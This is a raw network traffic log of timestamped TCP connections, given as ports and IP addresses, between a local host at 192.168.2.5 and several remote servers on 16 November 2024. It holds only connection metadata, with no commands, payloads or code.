Nov 16, 2024 13:01:21.169909000 CET	443	49706	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.169936895 CET	443	49706	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.169967890 CET	49706	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.169976950 CET	443	49706	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.170022011 CET	49706	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.170037031 CET	443	49706	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.171710968 CET	49706	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.171761990 CET	443	49706	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.171854019 CET	49706	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.275203943 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.275247097 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.275269985 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.275300980 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.275321960 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.275439024 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.275475979 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.275507927 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.275599957 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.275607109 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.288533926 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.288629055 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.288635969 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.293185949 CET	443	49711	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.340306044 CET	49711	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.340332031 CET	443	49711	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.340385914 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.342839003 CET	49711	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.343175888 CET	443	49711	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.343259096 CET	49711	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.392210960 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.392257929 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.392330885 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.392344952 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.406465054 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.406552076 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.406558990 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.411408901 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.411613941 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.411621094 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.420928955 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.420980930 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.420989037 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.439793110 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.439856052 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.439863920 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.440598011 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.440694094 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.440700054 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.449655056 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.449722052 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.449727058 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.458802938 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.459029913 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.459036112 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.467925072 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.468009949 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.468017101 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.509561062 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.509586096 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.509607077 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.509634972 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.509649038 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.509649038 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.509658098 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.509952068 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.523638010 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.523814917 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.524008989 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.524014950 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.538055897 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.538328886 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.538336039 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.541763067 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.541877031 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.541882992 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.549036026 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.549133062 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.549143076 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.555691004 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.555844069 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.555850983 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.562446117 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.562513113 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.562526941 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.568994045 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.569122076 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.569130898 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.575715065 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.575783968 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.575792074 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.582314014 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.582403898 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.582411051 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.588795900 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.588866949 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.588872910 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.595428944 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.595484018 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.595489979 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.601941109 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.602075100 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.602087021 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.608664036 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.609455109 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.609462023 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.615423918 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.615576029 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.615582943 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.621900082 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.622344017 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.622350931 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.628438950 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.628552914 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.628560066 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.635550022 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.635601044 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.635607004 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.641755104 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.644542933 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.644551992 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.648138046 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.648344040 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.648351908 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.654401064 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.659183025 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.659197092 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.660279989 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.660346031 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.660352945 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.666467905 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.667331934 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.667339087 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.672523975 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.672580957 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.672588110 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.676423073 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.676557064 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.676563978 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.680433989 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.680495024 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.680500984 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.684241056 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.684410095 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.684416056 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.687947989 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.690526962 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.690535069 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.692506075 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.692694902 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.692701101 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.695713043 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.695931911 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.695938110 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.699274063 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.702985048 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.702992916 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.703030109 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.703336954 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.703342915 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.706804037 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.708682060 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.708692074 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.761528969 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.761537075 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.761950970 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:21.761997938 CET	443	49710	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:21.762052059 CET	49710	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:22.184592009 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:22.184639931 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:22.184716940 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:22.185045004 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:22.185059071 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:22.952519894 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:22.952739954 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:22.956594944 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:22.956607103 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:22.956896067 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:22.966379881 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.011328936 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.189788103 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.189845085 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.189889908 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.189940929 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.189955950 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.189980984 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.190000057 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.223572016 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.223622084 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.223664045 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.223673105 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.223694086 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.223709106 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.230983973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:23.231064081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:23.308909893 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.308959961 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.308989048 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.309006929 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.309017897 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.309042931 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.342538118 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.342581987 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.342644930 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.342655897 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.342684031 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.342698097 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.344041109 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.344084024 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.344141960 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.344147921 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.344186068 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.344204903 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.346168995 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.346213102 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.346267939 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.346273899 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.346313000 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.346326113 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.446156025 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.446209908 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.446242094 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.446257114 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.446281910 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.446316004 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.458837032 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.458898067 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.458940983 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.458947897 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.458981991 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.458997965 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473073959 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473118067 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473181963 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473189116 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473220110 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473239899 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473367929 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473411083 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473433971 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473439932 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473469019 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473484039 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473653078 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473717928 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473726988 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473754883 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473783016 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473797083 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.473942041 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.473980904 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.474004030 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.474008083 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.474035025 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.474046946 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.475972891 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.476015091 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.476049900 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.476054907 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.476089001 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.476108074 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.511298895 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.545841932 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.545932055 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.545938015 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.545978069 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.546071053 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.546119928 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.551820040 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.551831007 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.551843882 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.551848888 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.741403103 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.741493940 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.741904020 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.741955042 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.741967916 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742017984 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742221117 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742243052 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.742389917 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742434978 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.742459059 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742505074 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742517948 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.742664099 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.742681026 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.743017912 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.743031979 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.743088007 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.743191957 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.743197918 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.743460894 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.743551016 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.744467974 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.744576931 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:23.744604111 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:23.796303034 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:23.796389103 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:23.796468019 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:23.796646118 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:23.796679020 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.184793949 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:24.184837103 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:24.185019016 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:24.185138941 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:24.185147047 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:24.518651962 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.519767046 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.520868063 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.520955086 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.521466970 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.521485090 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.521771908 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.521795034 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.522514105 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.522522926 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.524606943 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.524945021 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.524961948 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.525471926 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.525477886 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.525547028 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.526242018 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.526303053 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.526657104 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.526670933 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.526704073 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.527439117 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.527470112 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.527892113 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.527904034 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.641323090 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:24.641408920 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:24.641496897 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:24.643125057 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:24.643162966 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:24.649218082 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649241924 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649300098 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649322033 CET	443	49720	13.107.246.45	192.168.2.5
